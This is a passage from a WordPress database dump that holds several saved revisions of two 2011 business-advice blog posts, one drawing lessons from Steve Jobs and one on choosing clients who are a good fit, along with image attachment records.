universe.\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Don’t settle for good enough.</strong>\r\nIt’s easy to say something is good enough and then get it out the door. Lots of big and small businesses operate with this mentality. Take the money and run. But you’ll never be able to command premium prices when you settle for good enough. Today everything is good enough. Good enough=the same!\r\n\r\n<strong>Perfection is the enemy.</strong>\r\nAt some point in time, you have to get it out there. This means you have to “release” it to the world and learn from the feedback of the marketplace guiding you make your stuff better and better. Constant improvement, learning, tweaking and enhancing your products is how you grow. Nothing will be perfect–ever!  Not even the iPhone.\r\n\r\n<strong>Seek beauty and express it with simplicity.</strong>\r\nPeople love simple. Simple is always beautiful. Nothing simple is easy. It takes discernment to strip away the un-necessary and get to simplicity. If you make a product, make it beautiful, simple to understand and use. If you deliver a service, do so with humility, elegance and grace.\r\n\r\n<strong>Command a premium price.</strong>\r\nThe key to premium pricing lies in this timeless principle: provide more “use value” than you receive in “cash value”.  Think about this for a moment. When your customers value their experience with your product/service more than they value the money they exchange, you will never become a commodity.  Your products and services will be a badge of higher meaning and greater value. There must be a deep emotional connection between the product and the customer–far more important than its features or user benefits.\r\n\r\n<strong>Of course, not everyone will become a Steve Jobs. For those who consider these ideas,  it’s not impossible to create on the level of a Steve Jobs. His legacy may be the way he demonstrated just how possible the impossible really is. And for that, we should be grateful to him.  Thank you Steve Jobs for lighting the way.</strong>', 'There’s a little Steve Jobs in every one of us.', 0, '', 'inherit', 'open', 'open', '', '1773-revision-5', '', '', '2011-10-07 13:08:45', '2011-10-07 20:08:45', '', 1773, 'http://www.whitehotcenter.com/uncategorized/1773-revision-5/', 0, 'revision', '', 0),
(1781, 2, '2011-10-07 13:09:46', '2011-10-07 20:09:46', '<h1><img class="alignnone size-full wp-image-1774" title="stevejobs" src="http://whc.fbdev.org/wp-content/uploads/2011/10/stevejobs.jpg" alt="steve jobs" width="482" height="253" /><span style="color: #808080;">In thinking about the passing of Steve Jobs, it’s inspiring to be reminded there''s a little Steve in every one of us. All it takes is a personal decision to pursue a vision that matters to you with his level of unbridled passion and belief. And once that decision is made, never accept the status quo.\r\n</span></h1>\r\nThere is a great lesson and legacy gifted to us all by the life of Steve Jobs. No doubt, in the years to come, his incredible accomplishments will become mythic legend. But Steve Jobs was not special. He did not possess anything that is unavailable to any other human being. Perhaps even he would proclaim this.\r\n\r\nThere’s a Steve Jobs in each of us. To celebrate his example and his legacy, here are some lessons from his life most noteworthy for our own businesses:\r\n\r\n<strong>Think different.</strong>\r\nThis mantra was the force that gathered all the necessary molecules that formed themselves into the greatest technology business the world has ever known. It’s more than an advertising slogan or a clever brand positioning idea. If you think like and follow the status quo, you’ll never discover the inner voice of your own true genius. More importantly, you must believe in your different thinking. Believing is seeing, not the other way around.\r\n\r\n<strong>Be curious.\r\n</strong>The key to innovation and business growth is curiousity. You have to appreciate and practice the discipline of being curious, asking questions, and questioning the answers that come up. To be innovative requires you bring things into the world that no one is asking for, but once realized, become the very things the world was waiting for. No one was asking for an iPad, now millions can’t live without it.\r\n\r\n<strong>Fail forward.</strong>\r\nThere is no such thing as failure. Failure is an idea you mentally buy into and then accept as a permanent circumstance. There are no permanent circumstances in the universe. There is only learning, growth and accomplishment. Everyone creates undesired results when they are creating anything. It is the nature of the creative process. Use your “failures” for your growth and expansion.\r\n\r\n<strong>Put your own “dent in the universe”.</strong>\r\nThis now famous Jobs expression can apply to everyone.  To do it, you have to give a shit about something that is deeply important to you and makes a big difference to others. Thinking differently has the natural effect of making a difference. Doing what matters to you–really matters–is how you make a difference and dent the universe.\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Don’t settle for good enough.</strong>\r\nIt’s easy to say something is good enough and then get it out the door. Lots of big and small businesses operate with this mentality. Take the money and run. But you’ll never be able to command premium prices when you settle for good enough. Today everything is good enough. Good enough=the same!\r\n\r\n<strong>Perfection is the enemy.</strong>\r\nAt some point in time, you have to get it out there. This means you have to “release” it to the world and learn from the feedback of the marketplace guiding you make your stuff better and better. Constant improvement, learning, tweaking and enhancing your products is how you grow. Nothing will be perfect–ever!  Not even the iPhone.\r\n\r\n<strong>Seek beauty and express it with simplicity.</strong>\r\nPeople love simple. Simple is always beautiful. Nothing simple is easy. It takes discernment to strip away the un-necessary and get to simplicity. If you make a product, make it beautiful, simple to understand and use. If you deliver a service, do so with humility, elegance and grace.\r\n\r\n<strong>Command a premium price.</strong>\r\nThe key to premium pricing lies in this timeless principle: provide more “use value” than you receive in “cash value”.  Think about this for a moment. When your customers value their experience with your product/service more than they value the money they exchange, you will never become a commodity.  Your products and services will be a badge of higher meaning and greater value. There must be a deep emotional connection between the product and the customer–far more important than its features or user benefits.\r\n\r\n<strong>Of course, not everyone will become a Steve Jobs. For those who consider these ideas,  it’s not impossible to create on the level of a Steve Jobs. His legacy may be the way he demonstrated just how possible the impossible really is. And for that, we should be grateful to him.  Thank you Steve Jobs for lighting the way.</strong>', 'There’s a little Steve Jobs in every one of us.', 0, '', 'inherit', 'open', 'open', '', '1773-revision-7', '', '', '2011-10-07 13:09:46', '2011-10-07 20:09:46', '', 1773, 'http://www.whitehotcenter.com/uncategorized/1773-revision-7/', 0, 'revision', '', 0),
(1782, 2, '2011-10-07 13:16:10', '2011-10-07 20:16:10', '<h1><img class="alignnone size-full wp-image-1774" title="stevejobs" src="http://whc.fbdev.org/wp-content/uploads/2011/10/stevejobs.jpg" alt="steve jobs" width="482" height="253" /><span style="color: #808080;">In thinking about the passing of Steve Jobs, it’s inspiring to be reminded there''s a little Steve in every one of us. All it takes is a personal decision to pursue a vision that matters to you with his level of unbridled passion and belief. And once that decision is made, never accept the status quo.\r\n</span></h1>\r\nThere is a great lesson and legacy gifted to us all by the life of Steve Jobs. No doubt, in the years to come, his incredible accomplishments will become mythic legend. But Steve Jobs was not special. He did not possess anything that is unavailable to any other human being. Perhaps even he would acknowledge this.\r\n\r\nThere’s a Steve Jobs in each of us. To celebrate his example and his legacy, here are some lessons from his life most noteworthy for our own businesses:\r\n\r\n<strong>Think different.</strong>\r\nThis mantra was the force that gathered all the necessary molecules that formed themselves into the greatest technology business the world has ever known. It’s more than an advertising slogan or a clever brand positioning idea. If you think like and follow the status quo, you’ll never discover the inner voice of your own true genius. More importantly, you must believe in your different thinking. Believing is seeing, not the other way around.\r\n\r\n<strong>Be curious.\r\n</strong>The key to innovation and business growth is curiousity. You have to appreciate and practice the discipline of being curious, asking questions, and questioning the answers that come up. To be innovative requires you bring things into the world that no one is asking for, but once realized, become the very things the world was waiting for. No one was asking for an iPad, now millions can’t live without it.\r\n\r\n<strong>Fail forward.</strong>\r\nThere is no such thing as failure. Failure is an idea you mentally buy into and then accept as a permanent circumstance. There are no permanent circumstances in the universe. There is only learning, growth and accomplishment. Everyone creates undesired results when they are creating anything. It is the nature of the creative process. Use your “failures” for your growth and expansion.\r\n\r\n<strong>Put your own “dent in the universe”.</strong>\r\nThis now famous Jobs expression can apply to everyone.  To do it, you have to give a shit about something that is deeply important to you and makes a big difference to others. Thinking differently has the natural effect of making a difference. Doing what matters to you–really matters–is how you make a difference and dent the universe.\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Don’t settle for good enough.</strong>\r\nIt’s easy to say something is good enough and then get it out the door. Lots of big and small businesses operate with this mentality. Take the money and run. But you’ll never be able to command premium prices when you settle for good enough. Today everything is good enough. Good enough=the same!\r\n\r\n<strong>Perfection is the enemy.</strong>\r\nAt some point in time, you have to get it out there. This means you have to “release” it to the world and learn from the feedback of the marketplace guiding you make your stuff better and better. Constant improvement, learning, tweaking and enhancing your products is how you grow. Nothing will be perfect–ever!  Not even the iPhone.\r\n\r\n<strong>Seek beauty and express it with simplicity.</strong>\r\nPeople love simple. Simple is always beautiful. Nothing simple is easy. It takes discernment to strip away the un-necessary and get to simplicity. If you make a product, make it beautiful, simple to understand and use. If you deliver a service, do so with humility, elegance and grace.\r\n\r\n<strong>Command a premium price.</strong>\r\nThe key to premium pricing lies in this timeless principle: provide more “use value” than you receive in “cash value”.  Think about this for a moment. When your customers value their experience with your product/service more than they value the money they exchange, you will never become a commodity.  Your products and services will be a badge of higher meaning and greater value. There must be a deep emotional connection between the product and the customer–far more important than its features or user benefits.\r\n\r\n<strong>Of course, not everyone will become a Steve Jobs. For those who consider these ideas,  it’s not impossible to create on the level of a Steve Jobs. His legacy may be the way he demonstrated just how possible the impossible really is. And for that, we should be grateful to him.  Thank you Steve Jobs for lighting the way.</strong>', 'There’s a little Steve Jobs in every one of us.', 0, '', 'inherit', 'open', 'open', '', '1773-revision-8', '', '', '2011-10-07 13:16:10', '2011-10-07 20:16:10', '', 1773, 'http://www.whitehotcenter.com/uncategorized/1773-revision-8/', 0, 'revision', '', 0),
(1783, 2, '2011-10-07 13:16:20', '2011-10-07 20:16:20', '<h1><img class="alignnone size-full wp-image-1774" title="stevejobs" src="http://whc.fbdev.org/wp-content/uploads/2011/10/stevejobs.jpg" alt="steve jobs" width="482" height="253" /><span style="color: #808080;">In thinking about the passing of Steve Jobs, it’s inspiring to be reminded there''s a little Steve in every one of us. All it takes is a personal decision to pursue a vision that matters to you with his level of unbridled passion and belief. And once that decision is made, never accept the status quo.\r\n</span></h1>\r\nThere is a great lesson and legacy gifted to us all by the life of Steve Jobs. No doubt, in the years to come, his incredible accomplishments will become mythic legend. But Steve Jobs was not special. He did not possess anything that is unavailable to any other human being. Perhaps even he would acknowledge this.\r\n\r\nThere’s a Steve Jobs in each of us. To celebrate his example and his legacy, here are some lessons from his life most noteworthy for our own businesses:\r\n\r\n<strong>Think different.</strong>\r\nThis mantra was the force that gathered all the necessary molecules that formed themselves into the greatest technology business the world has ever known. It’s more than an advertising slogan or a clever brand positioning idea. If you think like and follow the status quo, you’ll never discover the inner voice of your own true genius. More importantly, you must believe in your different thinking. Believing is seeing, not the other way around.\r\n\r\n<strong>Be curious.\r\n</strong>The key to innovation and business growth is curiousity. You have to appreciate and practice the discipline of being curious, asking questions, and questioning the answers that come up. To be innovative requires you bring things into the world that no one is asking for, but once realized, become the very things the world was waiting for. No one was asking for an iPad, now millions can’t live without it.\r\n\r\n<strong>Fail forward.</strong>\r\nThere is no such thing as failure. Failure is an idea you mentally buy into and then accept as a permanent circumstance. There are no permanent circumstances in the universe. There is only learning, growth and accomplishment. Everyone creates undesired results when they are creating anything. It is the nature of the creative process. Use your “failures” for your growth and expansion.\r\n\r\n<strong>Put your own “dent in the universe”.</strong>\r\nThis now famous Jobs expression can apply to everyone.  To do it, you have to give a shit about something that is deeply important to you and makes a big difference to others. Thinking differently has the natural effect of making a difference. Doing what matters to you–really matters–is how you make a difference and dent the universe.\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Don’t settle for good enough.</strong>\r\nIt’s easy to say something is good enough and then get it out the door. Lots of big and small businesses operate with this mentality. Take the money and run. But you’ll never be able to command premium prices when you settle for good enough. Today everything is good enough. Good enough=the same!\r\n\r\n<strong>Perfection is the enemy.</strong>\r\nAt some point in time, you have to get it out there. This means you have to “release” it to the world and learn from the feedback of the marketplace guiding you make your stuff better and better. Constant improvement, learning, tweaking and enhancing your products is how you grow. Nothing will be perfect–ever!  Not even the iPhone.\r\n\r\n<strong>Seek beauty and express it with simplicity.</strong>\r\nPeople love simple. Simple is always beautiful. Nothing simple is easy. It takes discernment to strip away the un-necessary and get to simplicity. If you make a product, make it beautiful, simple to understand and use. If you deliver a service, do so with humility, elegance and grace.\r\n\r\n<strong>Command a premium price.</strong>\r\nThe key to premium pricing lies in this timeless principle: provide more “use value” than you receive in “cash value”.  Think about this for a moment. When your customers value their experience with your product/service more than they value the money they exchange, you will never become a commodity.  Your products and services will be a badge of higher meaning and greater value. There must be a deep emotional connection between the product and the customer–far more important than its features or user benefits.\r\n\r\n<strong>Of course, not everyone will become a Steve Jobs. For those who consider these ideas,  it’s not impossible to create on the level of a Steve Jobs. His legacy may be the way he demonstrated just how possible the impossible really is. And for that, we should be grateful to him.  Thank you Steve Jobs for lighting the way.</strong>', 'There’s a little Steve Jobs in every one of us.', 0, '', 'inherit', 'open', 'open', '', '1773-revision-9', '', '', '2011-10-07 13:16:20', '2011-10-07 20:16:20', '', 1773, 'http://www.whitehotcenter.com/uncategorized/1773-revision-9/', 0, 'revision', '', 0),
(1818, 2, '2011-12-04 16:50:57', '2011-12-04 23:50:57', '', 'hunterfarmer', 0, '', 'inherit', 'open', 'open', '', 'hunterfarmer', '', '', '2011-12-04 16:50:57', '2011-12-04 23:50:57', '', 1817, 'http://www.whitehotcenter.com/wp-content/uploads/2011/12/hunterfarmer.jpg', 0, 'attachment', 'image/jpeg', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(1785, 2, '2011-10-28 16:41:51', '2011-10-28 23:41:51', '<h1><img class="alignnone size-full wp-image-1786" title="good-fit" src="http://whc.fbdev.org/wp-content/uploads/2011/10/good-fit.jpg" alt="" width="487" height="412" />All of us want to work with great clients. But when your capacity exceeds your opportunities it’s hard to be picky. There’s only one way to work with great clients– you must pick them.</h1>\r\nIn this economy, many of my colleagues and clients are saying “any paying customer is great customer these days”. While that may be true with respect to keeping your cash flow happening right now, it’s not going to help you attract the truly great clients who are a better fit for you, and offer you more opportunities to increase your value to them and command premium fees.\r\n\r\nHow do you know which clients will represent a good fit? Have you taken the time to evaluate the criteria of what type of client will provide the opportunity for doing work that matters to you and will have a big impact on the clients business?  Do you know with confidence what attributes comprise a great client you / your company are well suited for?\r\n<h2>Before you can serve better clients, you need to know one when you see one.</h2>\r\nMore importantly, you need to know why you are a good fit to serve them in ways that matter to them enough to pay you a premium. Here’s a checklist description you can use in your business development conversations to help you define and qualify a great client you are perfect for:\r\n\r\n<em>Great Clients value expertise– specifically your expertise. Great client know you are the go-to resource for a specific solution, and they are eager to listen to your strategic advice and recommendations, and will gladly pay the higher fees your expertise commands.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients always offer opportunities for you to do great work. Great clients are making a difference in the world and they believe you are just like them. They are at the forefront of their industry. They perceive your expertise to be at the forefront as well, and that your capabilities will make a difference for their business outcomes.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients are respectful and appreciative of your contributions. They will express this to you and your staff regularly. They will inspire you and your staff to provide ever-greater results and solutions for their business success.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients are forthcoming and honest about the amount of money they have to solve their problem because they trust you. They trust that you / your company will always bring the best solution to them for the resources they have to invest. As a result they are reluctant to put the project out to multiple bidders before consulting you first.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients are loyal advocates and champions for your expertise within the client organization. They have full authority over all aspects of the engagement and remove political barriers that interfere with your ability to provide the best solutions to them.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients always pay on time and in accordance to your terms. </em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients recognize and are comfortable that you are making money in the relationship. Great Clients want you to be a profitable business partner, primarily so you can continue to provide them with your best thinking, and your business is sustainable over the long haul, giving them long-lasting value.</em>\r\n\r\nIf you want to grow your business with ever greater clients, you will need to change your business development and selling strategies accordingly. You have to resist the temptation to take on clients just to pay the overhead.\r\n\r\nIn your early stage selling conversations, you should stress that you only work for clients who are a mutual good fit. If you discover, by using the criteria above, a prospective client is not a good fit, refer them to a firm that you feel would be a good fit for them. Doing so will strengthen your position should you have a future conversation with them. And besides, it’s a classy, confident thing to do.\r\n\r\n<strong>You have to be picky if you are to attract great clients. In your business development process, it’s up to you to qualify prospects that represent the best opportunity for you to create a more profitable and enjoyable business relationships. You can do this by design rather than happenstance.</strong>', 'In pursuit of great clients who are a good fit.', 0, '', 'publish', 'open', 'open', '', 'in-pursuit-of-great-clients-who-are-a-good-fit', '', '', '2011-10-28 16:41:51', '2011-10-28 23:41:51', '', 0, 'http://www.whitehotcenter.com/?p=1785', 0, 'post', '', 0),
(1786, 2, '2011-10-28 16:31:36', '2011-10-28 23:31:36', '', 'good-fit', 0, '', 'inherit', 'open', 'open', '', 'good-fit', '', '', '2011-10-28 16:31:36', '2011-10-28 23:31:36', '', 1785, 'http://www.whitehotcenter.com/wp-content/uploads/2011/10/good-fit.jpg', 0, 'attachment', 'image/jpeg', 0),
(1787, 2, '2011-10-28 16:35:38', '2011-10-28 23:35:38', '<h1><img class="alignnone size-full wp-image-1786" title="good-fit" src="http://whc.fbdev.org/wp-content/uploads/2011/10/good-fit.jpg" alt="" width="487" height="412" />All of us want to work with great clients. But when your capacity exceeds your opportunities it’s hard to be picky. There’s only one way to work with great clients– you must pick them.</h1>\nIn this economy, many of my colleagues and clients are saying “any paying customer is great customer these days”. While that may be true with respect to keeping your cash flow happening right now, it’s not going to help you attract the truly great clients who are a better fit for you, and offer you more opportunities to increase your value to them and command premium fees.\n\nHow do you know which clients will represent a good fit? Have you taken the time to evaluate the criteria of what type of client will provide the opportunity for doing work that matters to you and will have a big impact on the clients business?  Do you know with confidence what attributes comprise a great client you / your company are well suited for?\n<h2>Before you can serve better clients, you need to know one when you see one.</h2>\nMore importantly, you need to know why you are a good fit to serve them in ways that matter to them enough to pay you a premium. Here’s a checklist description you can use in your business development conversations to help you define and qualify a great client you are perfect for:\n\n<em>Great Clients value expertise– specifically your expertise. Great client know you are the go-to resource for a specific solution, and they are eager to listen to your strategic advice and recommendations, and will gladly pay the higher fees your expertise commands.</em>\n\n<em> </em>\n\n<em>Great Clients always offer opportunities for you to do great work. Great clients are making a difference in the world and they believe you are just like them. They are at the forefront of their industry. They perceive your expertise to be at the forefront as well, and that your capabilities will make a difference for their business outcomes.</em>\n\n<em> </em>\n\n<em>Great Clients are respectful and appreciative of your contributions. They will express this to you and your staff regularly. They will inspire you and your staff to provide ever-greater results and solutions for their business success.</em>\n\n<em> </em>\n\n<em>Great Clients are forthcoming and honest about the amount of money they have to solve their problem because they trust you. They trust that you / your company will always bring the best solution to them for the resources they have to invest. As a result they are reluctant to put the project out to multiple bidders before consulting you first.</em>\n\n<em> </em>\n\n<em>Great Clients are loyal advocates and champions for your expertise within the client organization. They have full authority over all aspects of the engagement and remove political barriers that interfere with your ability to provide the best solutions to them.</em>\n\n<em> </em>\n\n<em>Great Clients always pay on time and in accordance to your terms. </em>\n\n<em> </em>\n\n<em>Great Clients recognize and are comfortable that you are making money in the relationship. Great Clients want you to be a profitable business partner, primarily so you can continue to provide them with your best thinking, and your business is sustainable over the long haul, giving them long-lasting value.</em>\n\nIf you want to grow your business with ever greater clients, you will need to change your business development and selling strategies accordingly. You have to resist the temptation to take on clients just to pay the overhead.\n\nIn your early stage selling conversations, you should stress that you only work for clients who are a mutual good fit. If you discover, by using the criteria above, a prospective client is not a good fit, refer them to a firm that you feel would be a good fit for them. Doing so will strengthen your position should you have a future conversation with them. And besides, it’s a classy, confident thing to do.\n\nYou have to be picky if you are to attract great clients. In your business development process, it’s up to you to qualify prospects that represent the best opportunity for you to create a more profitable and enjoyable business relationships. You can do this by design rather than happenstance.', 'In pursuit of great clients who are a good fit.', 0, '', 'inherit', 'open', 'open', '', '1785-revision', '', '', '2011-10-28 16:35:38', '2011-10-28 23:35:38', '', 1785, 'http://www.whitehotcenter.com/uncategorized/1785-revision/', 0, 'revision', '', 0),
(1788, 2, '2011-10-28 16:37:55', '2011-10-28 23:37:55', '<h1><img class="alignnone size-full wp-image-1786" title="good-fit" src="http://whc.fbdev.org/wp-content/uploads/2011/10/good-fit.jpg" alt="" width="487" height="412" />All of us want to work with great clients. But when your capacity exceeds your opportunities it’s hard to be picky. There’s only one way to work with great clients– you must pick them.</h1>\r\nIn this economy, many of my colleagues and clients are saying “any paying customer is great customer these days”. While that may be true with respect to keeping your cash flow happening right now, it’s not going to help you attract the truly great clients who are a better fit for you, and offer you more opportunities to increase your value to them and command premium fees.\r\n\r\nHow do you know which clients will represent a good fit? Have you taken the time to evaluate the criteria of what type of client will provide the opportunity for doing work that matters to you and will have a big impact on the clients business?  Do you know with confidence what attributes comprise a great client you / your company are well suited for?\r\n<h2>Before you can serve better clients, you need to know one when you see one.</h2>\r\nMore importantly, you need to know why you are a good fit to serve them in ways that matter to them enough to pay you a premium. Here’s a checklist description you can use in your business development conversations to help you define and qualify a great client you are perfect for:\r\n\r\n<em>Great Clients value expertise– specifically your expertise. Great client know you are the go-to resource for a specific solution, and they are eager to listen to your strategic advice and recommendations, and will gladly pay the higher fees your expertise commands.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients always offer opportunities for you to do great work. Great clients are making a difference in the world and they believe you are just like them. They are at the forefront of their industry. They perceive your expertise to be at the forefront as well, and that your capabilities will make a difference for their business outcomes.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients are respectful and appreciative of your contributions. They will express this to you and your staff regularly. They will inspire you and your staff to provide ever-greater results and solutions for their business success.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients are forthcoming and honest about the amount of money they have to solve their problem because they trust you. They trust that you / your company will always bring the best solution to them for the resources they have to invest. As a result they are reluctant to put the project out to multiple bidders before consulting you first.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients are loyal advocates and champions for your expertise within the client organization. They have full authority over all aspects of the engagement and remove political barriers that interfere with your ability to provide the best solutions to them.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients always pay on time and in accordance to your terms. </em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients recognize and are comfortable that you are making money in the relationship. Great Clients want you to be a profitable business partner, primarily so you can continue to provide them with your best thinking, and your business is sustainable over the long haul, giving them long-lasting value.</em>\r\n\r\nIf you want to grow your business with ever greater clients, you will need to change your business development and selling strategies accordingly. You have to resist the temptation to take on clients just to pay the overhead.\r\n\r\nIn your early stage selling conversations, you should stress that you only work for clients who are a mutual good fit. If you discover, by using the criteria above, a prospective client is not a good fit, refer them to a firm that you feel would be a good fit for them. Doing so will strengthen your position should you have a future conversation with them. And besides, it’s a classy, confident thing to do.\r\n\r\nYou have to be picky if you are to attract great clients. In your business development process, it’s up to you to qualify prospects that represent the best opportunity for you to create a more profitable and enjoyable business relationships. You can do this by design rather than happenstance.', 'In pursuit of great clients who are a good fit.', 0, '', 'inherit', 'open', 'open', '', '1785-revision-2', '', '', '2011-10-28 16:37:55', '2011-10-28 23:37:55', '', 1785, 'http://www.whitehotcenter.com/uncategorized/1785-revision-2/', 0, 'revision', '', 0),
(1789, 2, '2011-10-28 16:38:05', '2011-10-28 23:38:05', '<h1><img class="alignnone size-full wp-image-1786" title="good-fit" src="http://whc.fbdev.org/wp-content/uploads/2011/10/good-fit.jpg" alt="" width="487" height="412" />All of us want to work with great clients. But when your capacity exceeds your opportunities it’s hard to be picky. There’s only one way to work with great clients– you must pick them.</h1>\r\nIn this economy, many of my colleagues and clients are saying “any paying customer is great customer these days”. While that may be true with respect to keeping your cash flow happening right now, it’s not going to help you attract the truly great clients who are a better fit for you, and offer you more opportunities to increase your value to them and command premium fees.\r\n\r\nHow do you know which clients will represent a good fit? Have you taken the time to evaluate the criteria of what type of client will provide the opportunity for doing work that matters to you and will have a big impact on the clients business?  Do you know with confidence what attributes comprise a great client you / your company are well suited for?\r\n<h2>Before you can serve better clients, you need to know one when you see one.</h2>\r\nMore importantly, you need to know why you are a good fit to serve them in ways that matter to them enough to pay you a premium. Here’s a checklist description you can use in your business development conversations to help you define and qualify a great client you are perfect for:\r\n\r\n<em>Great Clients value expertise– specifically your expertise. Great client know you are the go-to resource for a specific solution, and they are eager to listen to your strategic advice and recommendations, and will gladly pay the higher fees your expertise commands.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients always offer opportunities for you to do great work. Great clients are making a difference in the world and they believe you are just like them. They are at the forefront of their industry. They perceive your expertise to be at the forefront as well, and that your capabilities will make a difference for their business outcomes.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients are respectful and appreciative of your contributions. They will express this to you and your staff regularly. They will inspire you and your staff to provide ever-greater results and solutions for their business success.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients are forthcoming and honest about the amount of money they have to solve their problem because they trust you. They trust that you / your company will always bring the best solution to them for the resources they have to invest. As a result they are reluctant to put the project out to multiple bidders before consulting you first.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients are loyal advocates and champions for your expertise within the client organization. They have full authority over all aspects of the engagement and remove political barriers that interfere with your ability to provide the best solutions to them.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients always pay on time and in accordance to your terms. </em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients recognize and are comfortable that you are making money in the relationship. Great Clients want you to be a profitable business partner, primarily so you can continue to provide them with your best thinking, and your business is sustainable over the long haul, giving them long-lasting value.</em>\r\n\r\nIf you want to grow your business with ever greater clients, you will need to change your business development and selling strategies accordingly. You have to resist the temptation to take on clients just to pay the overhead.\r\n\r\nIn your early stage selling conversations, you should stress that you only work for clients who are a mutual good fit. If you discover, by using the criteria above, a prospective client is not a good fit, refer them to a firm that you feel would be a good fit for them. Doing so will strengthen your position should you have a future conversation with them. And besides, it’s a classy, confident thing to do.\r\n\r\nYou have to be picky if you are to attract great clients. In your business development process, it’s up to you to qualify prospects that represent the best opportunity for you to create a more profitable and enjoyable business relationships. You can do this by design rather than happenstance.', 'In pursuit of great clients who are a good fit.', 0, '', 'inherit', 'open', 'open', '', '1785-revision-3', '', '', '2011-10-28 16:38:05', '2011-10-28 23:38:05', '', 1785, 'http://www.whitehotcenter.com/uncategorized/1785-revision-3/', 0, 'revision', '', 0),
(1790, 2, '2011-10-28 16:41:41', '2011-10-28 23:41:41', '<h1><img class="alignnone size-full wp-image-1786" title="good-fit" src="http://whc.fbdev.org/wp-content/uploads/2011/10/good-fit.jpg" alt="" width="487" height="412" />All of us want to work with great clients. But when your capacity exceeds your opportunities it’s hard to be picky. There’s only one way to work with great clients– you must pick them.</h1>\r\nIn this economy, many of my colleagues and clients are saying “any paying customer is great customer these days”. While that may be true with respect to keeping your cash flow happening right now, it’s not going to help you attract the truly great clients who are a better fit for you, and offer you more opportunities to increase your value to them and command premium fees.\r\n\r\nHow do you know which clients will represent a good fit? Have you taken the time to evaluate the criteria of what type of client will provide the opportunity for doing work that matters to you and will have a big impact on the clients business?  Do you know with confidence what attributes comprise a great client you / your company are well suited for?\r\n<h2>Before you can serve better clients, you need to know one when you see one.</h2>\r\nMore importantly, you need to know why you are a good fit to serve them in ways that matter to them enough to pay you a premium. Here’s a checklist description you can use in your business development conversations to help you define and qualify a great client you are perfect for:\r\n\r\n<em>Great Clients value expertise– specifically your expertise. Great client know you are the go-to resource for a specific solution, and they are eager to listen to your strategic advice and recommendations, and will gladly pay the higher fees your expertise commands.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients always offer opportunities for you to do great work. Great clients are making a difference in the world and they believe you are just like them. They are at the forefront of their industry. They perceive your expertise to be at the forefront as well, and that your capabilities will make a difference for their business outcomes.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients are respectful and appreciative of your contributions. They will express this to you and your staff regularly. They will inspire you and your staff to provide ever-greater results and solutions for their business success.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients are forthcoming and honest about the amount of money they have to solve their problem because they trust you. They trust that you / your company will always bring the best solution to them for the resources they have to invest. As a result they are reluctant to put the project out to multiple bidders before consulting you first.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients are loyal advocates and champions for your expertise within the client organization. They have full authority over all aspects of the engagement and remove political barriers that interfere with your ability to provide the best solutions to them.</em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients always pay on time and in accordance to your terms. </em>\r\n\r\n<em> </em>\r\n\r\n<em>Great Clients recognize and are comfortable that you are making money in the relationship. Great Clients want you to be a profitable business partner, primarily so you can continue to provide them with your best thinking, and your business is sustainable over the long haul, giving them long-lasting value.</em>\r\n\r\nIf you want to grow your business with ever greater clients, you will need to change your business development and selling strategies accordingly. You have to resist the temptation to take on clients just to pay the overhead.\r\n\r\nIn your early stage selling conversations, you should stress that you only work for clients who are a mutual good fit. If you discover, by using the criteria above, a prospective client is not a good fit, refer them to a firm that you feel would be a good fit for them. Doing so will strengthen your position should you have a future conversation with them. And besides, it’s a classy, confident thing to do.\r\n\r\n<strong>You have to be picky if you are to attract great clients. In your business development process, it’s up to you to qualify prospects that represent the best opportunity for you to create a more profitable and enjoyable business relationships. You can do this by design rather than happenstance.</strong>', 'In pursuit of great clients who are a good fit.', 0, '', 'inherit', 'open', 'open', '', '1785-revision-4', '', '', '2011-10-28 16:41:41', '2011-10-28 23:41:41', '', 1785, 'http://www.whitehotcenter.com/uncategorized/1785-revision-4/', 0, 'revision', '', 0),
